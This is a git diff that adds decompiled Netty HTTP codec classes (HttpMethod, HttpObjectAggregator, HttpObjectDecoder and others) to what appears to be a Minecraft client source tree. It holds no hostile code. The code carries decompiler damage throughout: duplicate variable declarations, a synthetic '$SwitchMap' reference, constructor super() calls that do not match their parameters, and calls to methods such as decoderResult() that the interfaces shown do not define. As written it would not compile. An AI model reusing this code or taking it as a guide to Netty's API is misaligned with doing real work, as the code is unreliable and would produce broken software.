+    public static final String HOST = "Host";
+    public static final String IF_MATCH = "If-Match";
+    public static final String IF_MODIFIED_SINCE = "If-Modified-Since";
+    public static final String IF_NONE_MATCH = "If-None-Match";
+    public static final String IF_RANGE = "If-Range";
+    public static final String IF_UNMODIFIED_SINCE = "If-Unmodified-Since";
+    public static final String LAST_MODIFIED = "Last-Modified";
+    public static final String LOCATION = "Location";
+    public static final String MAX_FORWARDS = "Max-Forwards";
+    public static final String ORIGIN = "Origin";
+    public static final String PRAGMA = "Pragma";
+    public static final String PROXY_AUTHENTICATE = "Proxy-Authenticate";
+    public static final String PROXY_AUTHORIZATION = "Proxy-Authorization";
+    public static final String RANGE = "Range";
+    public static final String REFERER = "Referer";
+    public static final String RETRY_AFTER = "Retry-After";
+    public static final String SEC_WEBSOCKET_KEY1 = "Sec-WebSocket-Key1";
+    public static final String SEC_WEBSOCKET_KEY2 = "Sec-WebSocket-Key2";
+    public static final String SEC_WEBSOCKET_LOCATION = "Sec-WebSocket-Location";
+    public static final String SEC_WEBSOCKET_ORIGIN = "Sec-WebSocket-Origin";
+    public static final String SEC_WEBSOCKET_PROTOCOL = "Sec-WebSocket-Protocol";
+    public static final String SEC_WEBSOCKET_VERSION = "Sec-WebSocket-Version";
+    public static final String SEC_WEBSOCKET_KEY = "Sec-WebSocket-Key";
+    public static final String SEC_WEBSOCKET_ACCEPT = "Sec-WebSocket-Accept";
+    public static final String SERVER = "Server";
+    public static final String SET_COOKIE = "Set-Cookie";
+    public static final String SET_COOKIE2 = "Set-Cookie2";
+    public static final String TE = "TE";
+    public static final String TRAILER = "Trailer";
+    public static final String TRANSFER_ENCODING = "Transfer-Encoding";
+    public static final String UPGRADE = "Upgrade";
+    public static final String USER_AGENT = "User-Agent";
+    public static final String VARY = "Vary";
+    public static final String VIA = "Via";
+    public static final String WARNING = "Warning";
+    public static final String WEBSOCKET_LOCATION = "WebSocket-Location";
+    public static final String WEBSOCKET_ORIGIN = "WebSocket-Origin";
+    public static final String WEBSOCKET_PROTOCOL = "WebSocket-Protocol";
+    public static final String WWW_AUTHENTICATE = "WWW-Authenticate";
+    
+    private Names() {}
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpHeadersEncoder.java b/src/minecraft/io/netty/handler/codec/http/HttpHeadersEncoder.java
new file mode 100644
index 0000000..ea5c91b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpHeadersEncoder.java
@@ -0,0 +1,59 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufUtil;
+import io.netty.util.AsciiString;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class HttpHeadersEncoder
+{
+  private HttpHeadersEncoder() {}
+  
+  public static void encoderHeader(CharSequence name, CharSequence value, ByteBuf buf)
+    throws Exception
+  {
+    int nameLen = name.length();
+    int valueLen = value.length();
+    int entryLen = nameLen + valueLen + 4;
+    buf.ensureWritable(entryLen);
+    int offset = buf.writerIndex();
+    writeAscii(buf, offset, name, nameLen);
+    offset += nameLen;
+    buf.setByte(offset++, 58);
+    buf.setByte(offset++, 32);
+    writeAscii(buf, offset, value, valueLen);
+    offset += valueLen;
+    buf.setByte(offset++, 13);
+    buf.setByte(offset++, 10);
+    buf.writerIndex(offset);
+  }
+  
+  private static void writeAscii(ByteBuf buf, int offset, CharSequence value, int valueLen) {
+    if ((value instanceof AsciiString)) {
+      ByteBufUtil.copy((AsciiString)value, 0, buf, offset, valueLen);
+    } else {
+      writeCharSequence(buf, offset, value, valueLen);
+    }
+  }
+  
+  private static void writeCharSequence(ByteBuf buf, int offset, CharSequence value, int valueLen) {
+    for (int i = 0; i < valueLen; i++) {
+      buf.setByte(offset++, AsciiString.c2b(value.charAt(i)));
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpMessage.java b/src/minecraft/io/netty/handler/codec/http/HttpMessage.java
new file mode 100644
index 0000000..70a1054
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpMessage.java
@@ -0,0 +1,11 @@
+package io.netty.handler.codec.http;
+
+public abstract interface HttpMessage
+  extends HttpObject
+{
+  public abstract HttpVersion getProtocolVersion();
+  
+  public abstract HttpMessage setProtocolVersion(HttpVersion paramHttpVersion);
+  
+  public abstract HttpHeaders headers();
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpMessageUtil.java b/src/minecraft/io/netty/handler/codec/http/HttpMessageUtil.java
new file mode 100644
index 0000000..99d4d22
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpMessageUtil.java
@@ -0,0 +1,114 @@
+package io.netty.handler.codec.http;
+
+import io.netty.util.internal.StringUtil;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class HttpMessageUtil
+{
+  static StringBuilder appendRequest(StringBuilder buf, HttpRequest req)
+  {
+    appendCommon(buf, req);
+    appendInitialLine(buf, req);
+    appendHeaders(buf, req.headers());
+    removeLastNewLine(buf);
+    return buf;
+  }
+  
+  static StringBuilder appendResponse(StringBuilder buf, HttpResponse res) {
+    appendCommon(buf, res);
+    appendInitialLine(buf, res);
+    appendHeaders(buf, res.headers());
+    removeLastNewLine(buf);
+    return buf;
+  }
+  
+  private static void appendCommon(StringBuilder buf, HttpMessage msg) {
+    buf.append(StringUtil.simpleClassName(msg));
+    buf.append("(decodeResult: ");
+    buf.append(msg.decoderResult());
+    buf.append(", version: ");
+    buf.append(msg.protocolVersion());
+    buf.append(')');
+    buf.append(StringUtil.NEWLINE);
+  }
+  
+  static StringBuilder appendFullRequest(StringBuilder buf, FullHttpRequest req) {
+    appendFullCommon(buf, req);
+    appendInitialLine(buf, req);
+    appendHeaders(buf, req.headers());
+    appendHeaders(buf, req.trailingHeaders());
+    removeLastNewLine(buf);
+    return buf;
+  }
+  
+  static StringBuilder appendFullResponse(StringBuilder buf, FullHttpResponse res) {
+    appendFullCommon(buf, res);
+    appendInitialLine(buf, res);
+    appendHeaders(buf, res.headers());
+    appendHeaders(buf, res.trailingHeaders());
+    removeLastNewLine(buf);
+    return buf;
+  }
+  
+  private static void appendFullCommon(StringBuilder buf, FullHttpMessage msg) {
+    buf.append(StringUtil.simpleClassName(msg));
+    buf.append("(decodeResult: ");
+    buf.append(msg.decoderResult());
+    buf.append(", version: ");
+    buf.append(msg.protocolVersion());
+    buf.append(", content: ");
+    buf.append(msg.content());
+    buf.append(')');
+    buf.append(StringUtil.NEWLINE);
+  }
+  
+  private static void appendInitialLine(StringBuilder buf, HttpRequest req) {
+    buf.append(req.method());
+    buf.append(' ');
+    buf.append(req.uri());
+    buf.append(' ');
+    buf.append(req.protocolVersion());
+    buf.append(StringUtil.NEWLINE);
+  }
+  
+  private static void appendInitialLine(StringBuilder buf, HttpResponse res) {
+    buf.append(res.protocolVersion());
+    buf.append(' ');
+    buf.append(res.status());
+    buf.append(StringUtil.NEWLINE);
+  }
+  
+  private static void appendHeaders(StringBuilder buf, HttpHeaders headers) {
+    for (Map.Entry<String, String> e : headers) {
+      buf.append((String)e.getKey());
+      buf.append(": ");
+      buf.append((String)e.getValue());
+      buf.append(StringUtil.NEWLINE);
+    }
+  }
+  
+  private static void removeLastNewLine(StringBuilder buf) {
+    buf.setLength(buf.length() - StringUtil.NEWLINE.length());
+  }
+  
+  private HttpMessageUtil() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpMethod.java b/src/minecraft/io/netty/handler/codec/http/HttpMethod.java
new file mode 100644
index 0000000..f3a4279
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpMethod.java
@@ -0,0 +1,205 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.util.CharsetUtil;
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HttpMethod
+  implements Comparable<HttpMethod>
+{
+  public static final HttpMethod OPTIONS = new HttpMethod("OPTIONS", true);
+  
+
+
+
+
+
+
+  public static final HttpMethod GET = new HttpMethod("GET", true);
+  
+
+
+
+
+  public static final HttpMethod HEAD = new HttpMethod("HEAD", true);
+  
+
+
+
+
+
+  public static final HttpMethod POST = new HttpMethod("POST", true);
+  
+
+
+
+  public static final HttpMethod PUT = new HttpMethod("PUT", true);
+  
+
+
+
+
+  public static final HttpMethod PATCH = new HttpMethod("PATCH", true);
+  
+
+
+
+
+  public static final HttpMethod DELETE = new HttpMethod("DELETE", true);
+  
+
+
+
+
+  public static final HttpMethod TRACE = new HttpMethod("TRACE", true);
+  
+
+
+
+
+  public static final HttpMethod CONNECT = new HttpMethod("CONNECT", true);
+  
+  private static final Map<String, HttpMethod> methodMap = new HashMap();
+  private final String name;
+  private final byte[] bytes;
+  
+  static { methodMap.put(OPTIONS.toString(), OPTIONS);
+    methodMap.put(GET.toString(), GET);
+    methodMap.put(HEAD.toString(), HEAD);
+    methodMap.put(POST.toString(), POST);
+    methodMap.put(PUT.toString(), PUT);
+    methodMap.put(PATCH.toString(), PATCH);
+    methodMap.put(DELETE.toString(), DELETE);
+    methodMap.put(TRACE.toString(), TRACE);
+    methodMap.put(CONNECT.toString(), CONNECT);
+  }
+  
+
+
+
+
+  public static HttpMethod valueOf(String name)
+  {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    
+    name = name.trim();
+    if (name.isEmpty()) {
+      throw new IllegalArgumentException("empty name");
+    }
+    
+    HttpMethod result = (HttpMethod)methodMap.get(name);
+    if (result != null) {
+      return result;
+    }
+    return new HttpMethod(name);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public HttpMethod(String name)
+  {
+    this(name, false);
+  }
+  
+  private HttpMethod(String name, boolean bytes) {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    
+    name = name.trim();
+    if (name.isEmpty()) {
+      throw new IllegalArgumentException("empty name");
+    }
+    
+    for (int i = 0; i < name.length(); i++) {
+      if ((Character.isISOControl(name.charAt(i))) || (Character.isWhitespace(name.charAt(i))))
+      {
+        throw new IllegalArgumentException("invalid character in name");
+      }
+    }
+    
+    this.name = name;
+    if (bytes) {
+      this.bytes = name.getBytes(CharsetUtil.US_ASCII);
+    } else {
+      this.bytes = null;
+    }
+  }
+  
+
+
+  public String name()
+  {
+    return name;
+  }
+  
+  public int hashCode()
+  {
+    return name().hashCode();
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof HttpMethod)) {
+      return false;
+    }
+    
+    HttpMethod that = (HttpMethod)o;
+    return name().equals(that.name());
+  }
+  
+  public String toString()
+  {
+    return name();
+  }
+  
+  public int compareTo(HttpMethod o)
+  {
+    return name().compareTo(o.name());
+  }
+  
+  void encode(ByteBuf buf) {
+    if (bytes == null) {
+      HttpHeaders.encodeAscii0(name, buf);
+    } else {
+      buf.writeBytes(bytes);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpObject.java b/src/minecraft/io/netty/handler/codec/http/HttpObject.java
new file mode 100644
index 0000000..14c7c7c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpObject.java
@@ -0,0 +1,10 @@
+package io.netty.handler.codec.http;
+
+import io.netty.handler.codec.DecoderResult;
+
+public abstract interface HttpObject
+{
+  public abstract DecoderResult getDecoderResult();
+  
+  public abstract void setDecoderResult(DecoderResult paramDecoderResult);
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpObjectAggregator.java b/src/minecraft/io/netty/handler/codec/http/HttpObjectAggregator.java
new file mode 100644
index 0000000..c9cc17e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpObjectAggregator.java
@@ -0,0 +1,455 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.CompositeByteBuf;
+import io.netty.buffer.DefaultByteBufHolder;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.DecoderResult;
+import io.netty.handler.codec.MessageToMessageDecoder;
+import io.netty.handler.codec.TooLongFrameException;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HttpObjectAggregator
+  extends MessageToMessageDecoder<HttpObject>
+{
+  public static final int DEFAULT_MAX_COMPOSITEBUFFER_COMPONENTS = 1024;
+  private static final FullHttpResponse CONTINUE = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.CONTINUE, Unpooled.EMPTY_BUFFER);
+  
+  private final int maxContentLength;
+  
+  private AggregatedFullHttpMessage currentMessage;
+  
+  private boolean tooLongFrameFound;
+  private int maxCumulationBufferComponents = 1024;
+  
+
+
+
+  private ChannelHandlerContext ctx;
+  
+
+
+
+  public HttpObjectAggregator(int maxContentLength)
+  {
+    if (maxContentLength <= 0) {
+      throw new IllegalArgumentException("maxContentLength must be a positive integer: " + maxContentLength);
+    }
+    
+
+    this.maxContentLength = maxContentLength;
+  }
+  
+
+
+
+
+
+  public final int getMaxCumulationBufferComponents()
+  {
+    return maxCumulationBufferComponents;
+  }
+  
+
+
+
+
+
+
+  public final void setMaxCumulationBufferComponents(int maxCumulationBufferComponents)
+  {
+    if (maxCumulationBufferComponents < 2) {
+      throw new IllegalArgumentException("maxCumulationBufferComponents: " + maxCumulationBufferComponents + " (expected: >= 2)");
+    }
+    
+
+
+    if (ctx == null) {
+      this.maxCumulationBufferComponents = maxCumulationBufferComponents;
+    } else {
+      throw new IllegalStateException("decoder properties cannot be changed once the decoder is added to a pipeline.");
+    }
+  }
+  
+  protected void decode(final ChannelHandlerContext ctx, HttpObject msg, List<Object> out)
+    throws Exception
+  {
+    AggregatedFullHttpMessage currentMessage = this.currentMessage;
+    
+    if ((msg instanceof HttpMessage)) {
+      tooLongFrameFound = false;
+      assert (currentMessage == null);
+      
+      HttpMessage m = (HttpMessage)msg;
+      
+
+
+
+
+
+      if (HttpHeaders.is100ContinueExpected(m)) {
+        ctx.writeAndFlush(CONTINUE).addListener(new ChannelFutureListener()
+        {
+          public void operationComplete(ChannelFuture future) throws Exception {
+            if (!future.isSuccess()) {
+              ctx.fireExceptionCaught(future.cause());
+            }
+          }
+        });
+      }
+      
+      if (!m.getDecoderResult().isSuccess()) {
+        HttpHeaders.removeTransferEncodingChunked(m);
+        out.add(toFullMessage(m));
+        this.currentMessage = null;
+        return;
+      }
+      if ((msg instanceof HttpRequest)) {
+        HttpRequest header = (HttpRequest)msg;
+        this.currentMessage = (currentMessage = new AggregatedFullHttpRequest(header, ctx.alloc().compositeBuffer(maxCumulationBufferComponents), null, null));
+      }
+      else if ((msg instanceof HttpResponse)) {
+        HttpResponse header = (HttpResponse)msg;
+        this.currentMessage = (currentMessage = new AggregatedFullHttpResponse(header, Unpooled.compositeBuffer(maxCumulationBufferComponents), null, null));
+      }
+      else
+      {
+        throw new Error();
+      }
+      
+
+      HttpHeaders.removeTransferEncodingChunked(currentMessage);
+    } else if ((msg instanceof HttpContent)) {
+      if (tooLongFrameFound) {
+        if ((msg instanceof LastHttpContent)) {
+          this.currentMessage = null;
+        }
+        
+        return;
+      }
+      assert (currentMessage != null);
+      
+
+      HttpContent chunk = (HttpContent)msg;
+      CompositeByteBuf content = (CompositeByteBuf)currentMessage.content();
+      
+      if (content.readableBytes() > maxContentLength - chunk.content().readableBytes()) {
+        tooLongFrameFound = true;
+        
+
+        currentMessage.release();
+        this.currentMessage = null;
+        
+        throw new TooLongFrameException("HTTP content length exceeded " + maxContentLength + " bytes.");
+      }
+      
+
+
+
+      if (chunk.content().isReadable()) {
+        chunk.retain();
+        content.addComponent(chunk.content());
+        content.writerIndex(content.writerIndex() + chunk.content().readableBytes());
+      }
+      boolean last;
+      boolean last;
+      if (!chunk.getDecoderResult().isSuccess()) {
+        currentMessage.setDecoderResult(DecoderResult.failure(chunk.getDecoderResult().cause()));
+        
+        last = true;
+      } else {
+        last = chunk instanceof LastHttpContent;
+      }
+      
+      if (last) {
+        this.currentMessage = null;
+        
+
+        if ((chunk instanceof LastHttpContent)) {
+          LastHttpContent trailer = (LastHttpContent)chunk;
+          currentMessage.setTrailingHeaders(trailer.trailingHeaders());
+        } else {
+          currentMessage.setTrailingHeaders(new DefaultHttpHeaders());
+        }
+        
+
+        currentMessage.headers().set("Content-Length", String.valueOf(content.readableBytes()));
+        
+
+
+
+        out.add(currentMessage);
+      }
+    } else {
+      throw new Error();
+    }
+  }
+  
+  public void channelInactive(ChannelHandlerContext ctx) throws Exception
+  {
+    super.channelInactive(ctx);
+    
+
+    if (currentMessage != null) {
+      currentMessage.release();
+      currentMessage = null;
+    }
+  }
+  
+  public void handlerAdded(ChannelHandlerContext ctx) throws Exception
+  {
+    this.ctx = ctx;
+  }
+  
+  public void handlerRemoved(ChannelHandlerContext ctx) throws Exception
+  {
+    super.handlerRemoved(ctx);
+    
+
+    if (currentMessage != null) {
+      currentMessage.release();
+      currentMessage = null;
+    }
+  }
+  
+  private static FullHttpMessage toFullMessage(HttpMessage msg) {
+    if ((msg instanceof FullHttpMessage)) {
+      return ((FullHttpMessage)msg).retain();
+    }
+    
+    FullHttpMessage fullMsg;
+    if ((msg instanceof HttpRequest)) {
+      fullMsg = new AggregatedFullHttpRequest((HttpRequest)msg, Unpooled.EMPTY_BUFFER, new DefaultHttpHeaders(), null);
+    } else { FullHttpMessage fullMsg;
+      if ((msg instanceof HttpResponse)) {
+        fullMsg = new AggregatedFullHttpResponse((HttpResponse)msg, Unpooled.EMPTY_BUFFER, new DefaultHttpHeaders(), null);
+      }
+      else
+        throw new IllegalStateException();
+    }
+    FullHttpMessage fullMsg;
+    return fullMsg;
+  }
+  
+  private static abstract class AggregatedFullHttpMessage extends DefaultByteBufHolder implements FullHttpMessage {
+    protected final HttpMessage message;
+    private HttpHeaders trailingHeaders;
+    
+    private AggregatedFullHttpMessage(HttpMessage message, ByteBuf content, HttpHeaders trailingHeaders) {
+      super();
+      this.message = message;
+      this.trailingHeaders = trailingHeaders;
+    }
+    
+    public HttpHeaders trailingHeaders() {
+      return trailingHeaders;
+    }
+    
+    public void setTrailingHeaders(HttpHeaders trailingHeaders) {
+      this.trailingHeaders = trailingHeaders;
+    }
+    
+    public HttpVersion getProtocolVersion()
+    {
+      return message.getProtocolVersion();
+    }
+    
+    public FullHttpMessage setProtocolVersion(HttpVersion version)
+    {
+      message.setProtocolVersion(version);
+      return this;
+    }
+    
+    public HttpHeaders headers()
+    {
+      return message.headers();
+    }
+    
+    public DecoderResult getDecoderResult()
+    {
+      return message.getDecoderResult();
+    }
+    
+    public void setDecoderResult(DecoderResult result)
+    {
+      message.setDecoderResult(result);
+    }
+    
+    public FullHttpMessage retain(int increment)
+    {
+      super.retain(increment);
+      return this;
+    }
+    
+    public FullHttpMessage retain()
+    {
+      super.retain();
+      return this;
+    }
+    
+    public abstract FullHttpMessage copy();
+    
+    public abstract FullHttpMessage duplicate();
+  }
+  
+  private static final class AggregatedFullHttpRequest
+    extends HttpObjectAggregator.AggregatedFullHttpMessage implements FullHttpRequest
+  {
+    private AggregatedFullHttpRequest(HttpRequest request, ByteBuf content, HttpHeaders trailingHeaders)
+    {
+      super(content, trailingHeaders, null);
+    }
+    
+    public FullHttpRequest copy()
+    {
+      DefaultFullHttpRequest copy = new DefaultFullHttpRequest(getProtocolVersion(), getMethod(), getUri(), content().copy());
+      
+      copy.headers().set(headers());
+      copy.trailingHeaders().set(trailingHeaders());
+      return copy;
+    }
+    
+    public FullHttpRequest duplicate()
+    {
+      DefaultFullHttpRequest duplicate = new DefaultFullHttpRequest(getProtocolVersion(), getMethod(), getUri(), content().duplicate());
+      
+      duplicate.headers().set(headers());
+      duplicate.trailingHeaders().set(trailingHeaders());
+      return duplicate;
+    }
+    
+    public FullHttpRequest retain(int increment)
+    {
+      super.retain(increment);
+      return this;
+    }
+    
+    public FullHttpRequest retain()
+    {
+      super.retain();
+      return this;
+    }
+    
+    public FullHttpRequest setMethod(HttpMethod method)
+    {
+      ((HttpRequest)message).setMethod(method);
+      return this;
+    }
+    
+    public FullHttpRequest setUri(String uri)
+    {
+      ((HttpRequest)message).setUri(uri);
+      return this;
+    }
+    
+    public HttpMethod getMethod()
+    {
+      return ((HttpRequest)message).getMethod();
+    }
+    
+    public String getUri()
+    {
+      return ((HttpRequest)message).getUri();
+    }
+    
+    public FullHttpRequest setProtocolVersion(HttpVersion version)
+    {
+      super.setProtocolVersion(version);
+      return this;
+    }
+  }
+  
+  private static final class AggregatedFullHttpResponse extends HttpObjectAggregator.AggregatedFullHttpMessage implements FullHttpResponse
+  {
+    private AggregatedFullHttpResponse(HttpResponse message, ByteBuf content, HttpHeaders trailingHeaders) {
+      super(content, trailingHeaders, null);
+    }
+    
+    public FullHttpResponse copy()
+    {
+      DefaultFullHttpResponse copy = new DefaultFullHttpResponse(getProtocolVersion(), getStatus(), content().copy());
+      
+      copy.headers().set(headers());
+      copy.trailingHeaders().set(trailingHeaders());
+      return copy;
+    }
+    
+    public FullHttpResponse duplicate()
+    {
+      DefaultFullHttpResponse duplicate = new DefaultFullHttpResponse(getProtocolVersion(), getStatus(), content().duplicate());
+      
+      duplicate.headers().set(headers());
+      duplicate.trailingHeaders().set(trailingHeaders());
+      return duplicate;
+    }
+    
+    public FullHttpResponse setStatus(HttpResponseStatus status)
+    {
+      ((HttpResponse)message).setStatus(status);
+      return this;
+    }
+    
+    public HttpResponseStatus getStatus()
+    {
+      return ((HttpResponse)message).getStatus();
+    }
+    
+    public FullHttpResponse setProtocolVersion(HttpVersion version)
+    {
+      super.setProtocolVersion(version);
+      return this;
+    }
+    
+    public FullHttpResponse retain(int increment)
+    {
+      super.retain(increment);
+      return this;
+    }
+    
+    public FullHttpResponse retain()
+    {
+      super.retain();
+      return this;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpObjectDecoder.java b/src/minecraft/io/netty/handler/codec/http/HttpObjectDecoder.java
new file mode 100644
index 0000000..d13a3ad
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpObjectDecoder.java
@@ -0,0 +1,755 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufProcessor;
+import io.netty.buffer.ByteBufUtil;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.DecoderResult;
+import io.netty.handler.codec.ReplayingDecoder;
+import io.netty.handler.codec.TooLongFrameException;
+import io.netty.util.internal.AppendableCharSequence;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class HttpObjectDecoder
+  extends ReplayingDecoder<State>
+{
+  private final int maxInitialLineLength;
+  private final int maxHeaderSize;
+  private final int maxChunkSize;
+  private final boolean chunkedSupported;
+  protected final boolean validateHeaders;
+  private final AppendableCharSequence seq = new AppendableCharSequence(128);
+  private final HeaderParser headerParser = new HeaderParser(seq);
+  private final LineParser lineParser = new LineParser(seq);
+  
+  private HttpMessage message;
+  private long chunkSize;
+  private int headerSize;
+  private long contentLength = Long.MIN_VALUE;
+  
+
+
+
+  static enum State
+  {
+    SKIP_CONTROL_CHARS, 
+    READ_INITIAL, 
+    READ_HEADER, 
+    READ_VARIABLE_LENGTH_CONTENT, 
+    READ_FIXED_LENGTH_CONTENT, 
+    READ_CHUNK_SIZE, 
+    READ_CHUNKED_CONTENT, 
+    READ_CHUNK_DELIMITER, 
+    READ_CHUNK_FOOTER, 
+    BAD_MESSAGE, 
+    UPGRADED;
+    
+
+    private State() {}
+  }
+  
+
+  protected HttpObjectDecoder()
+  {
+    this(4096, 8192, 8192, true);
+  }
+  
+
+
+
+  protected HttpObjectDecoder(int maxInitialLineLength, int maxHeaderSize, int maxChunkSize, boolean chunkedSupported)
+  {
+    this(maxInitialLineLength, maxHeaderSize, maxChunkSize, chunkedSupported, true);
+  }
+  
+
+
+
+
+
+  protected HttpObjectDecoder(int maxInitialLineLength, int maxHeaderSize, int maxChunkSize, boolean chunkedSupported, boolean validateHeaders)
+  {
+    super(State.SKIP_CONTROL_CHARS);
+    
+    if (maxInitialLineLength <= 0) {
+      throw new IllegalArgumentException("maxInitialLineLength must be a positive integer: " + maxInitialLineLength);
+    }
+    
+
+    if (maxHeaderSize <= 0) {
+      throw new IllegalArgumentException("maxHeaderSize must be a positive integer: " + maxHeaderSize);
+    }
+    
+
+    if (maxChunkSize <= 0) {
+      throw new IllegalArgumentException("maxChunkSize must be a positive integer: " + maxChunkSize);
+    }
+    
+
+    this.maxInitialLineLength = maxInitialLineLength;
+    this.maxHeaderSize = maxHeaderSize;
+    this.maxChunkSize = maxChunkSize;
+    this.chunkedSupported = chunkedSupported;
+    this.validateHeaders = validateHeaders;
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf buffer, List<Object> out) throws Exception
+  {
+    switch (1.$SwitchMap$io$netty$handler$codec$http$HttpObjectDecoder$State[((State)state()).ordinal()]) {
+    case 1: 
+      try {
+        skipControlCharacters(buffer);
+        checkpoint(State.READ_INITIAL);
+      } finally {
+        checkpoint();
+      }
+    case 2: 
+      try {
+        String[] initialLine = splitInitialLine(lineParser.parse(buffer));
+        if (initialLine.length < 3)
+        {
+          checkpoint(State.SKIP_CONTROL_CHARS);
+          return;
+        }
+        
+        message = createMessage(initialLine);
+        checkpoint(State.READ_HEADER);
+      }
+      catch (Exception e) {
+        out.add(invalidMessage(e));
+        return;
+      }
+    case 3:  try {
+        State nextState = readHeaders(buffer);
+        checkpoint(nextState);
+        if (nextState == State.READ_CHUNK_SIZE) {
+          if (!chunkedSupported) {
+            throw new IllegalArgumentException("Chunked messages not supported");
+          }
+          
+          out.add(message);
+          return;
+        }
+        if (nextState == State.SKIP_CONTROL_CHARS)
+        {
+          out.add(message);
+          out.add(LastHttpContent.EMPTY_LAST_CONTENT);
+          reset();
+          return;
+        }
+        long contentLength = contentLength();
+        if ((contentLength == 0L) || ((contentLength == -1L) && (isDecodingRequest()))) {
+          out.add(message);
+          out.add(LastHttpContent.EMPTY_LAST_CONTENT);
+          reset();
+          return;
+        }
+        
+        assert ((nextState == State.READ_FIXED_LENGTH_CONTENT) || (nextState == State.READ_VARIABLE_LENGTH_CONTENT));
+        
+        out.add(message);
+        
+        if (nextState == State.READ_FIXED_LENGTH_CONTENT)
+        {
+          this.chunkSize = contentLength;
+        }
+        
+
+        return;
+      } catch (Exception e) {
+        out.add(invalidMessage(e));
+        return;
+      }
+    
+    case 4: 
+      int toRead = Math.min(actualReadableBytes(), maxChunkSize);
+      if (toRead > 0) {
+        ByteBuf content = ByteBufUtil.readBytes(ctx.alloc(), buffer, toRead);
+        if (buffer.isReadable()) {
+          out.add(new DefaultHttpContent(content));
+        }
+        else {
+          out.add(new DefaultLastHttpContent(content, validateHeaders));
+          reset();
+        }
+      } else if (!buffer.isReadable())
+      {
+        out.add(LastHttpContent.EMPTY_LAST_CONTENT);
+        reset();
+      }
+      return;
+    
+    case 5: 
+      int readLimit = actualReadableBytes();
+      
+
+
+
+
+
+
+      if (readLimit == 0) {
+        return;
+      }
+      
+      int toRead = Math.min(readLimit, maxChunkSize);
+      if (toRead > this.chunkSize) {
+        toRead = (int)this.chunkSize;
+      }
+      ByteBuf content = ByteBufUtil.readBytes(ctx.alloc(), buffer, toRead);
+      this.chunkSize -= toRead;
+      
+      if (this.chunkSize == 0L)
+      {
+        out.add(new DefaultLastHttpContent(content, validateHeaders));
+        reset();
+      } else {
+        out.add(new DefaultHttpContent(content));
+      }
+      return;
+    
+
+
+    case 6: 
+      try
+      {
+        AppendableCharSequence line = lineParser.parse(buffer);
+        int chunkSize = getChunkSize(line.toString());
+        this.chunkSize = chunkSize;
+        if (chunkSize == 0) {
+          checkpoint(State.READ_CHUNK_FOOTER);
+          return;
+        }
+        checkpoint(State.READ_CHUNKED_CONTENT);
+      }
+      catch (Exception e) {
+        out.add(invalidChunk(e));
+        return;
+      }
+    case 7: 
+      assert (this.chunkSize <= 2147483647L);
+      int toRead = Math.min((int)this.chunkSize, maxChunkSize);
+      
+      HttpContent chunk = new DefaultHttpContent(ByteBufUtil.readBytes(ctx.alloc(), buffer, toRead));
+      this.chunkSize -= toRead;
+      
+      out.add(chunk);
+      
+      if (this.chunkSize == 0L)
+      {
+        checkpoint(State.READ_CHUNK_DELIMITER);
+      } else {
+        return;
+      }
+    case 8: 
+      for (;;)
+      {
+        byte next = buffer.readByte();
+        if (next == 13) {
+          if (buffer.readByte() == 10) {
+            checkpoint(State.READ_CHUNK_SIZE);
+          }
+        } else {
+          if (next == 10) {
+            checkpoint(State.READ_CHUNK_SIZE);
+            return;
+          }
+          checkpoint();
+        }
+      }
+    case 9: 
+      try {
+        LastHttpContent trailer = readTrailingHeaders(buffer);
+        out.add(trailer);
+        reset();
+        return;
+      } catch (Exception e) {
+        out.add(invalidChunk(e));
+        return;
+      }
+    
+    case 10: 
+      buffer.skipBytes(actualReadableBytes());
+      break;
+    
+    case 11: 
+      int readableBytes = actualReadableBytes();
+      if (readableBytes > 0)
+      {
+
+
+
+        out.add(buffer.readBytes(actualReadableBytes()));
+      }
+      break;
+    }
+  }
+  
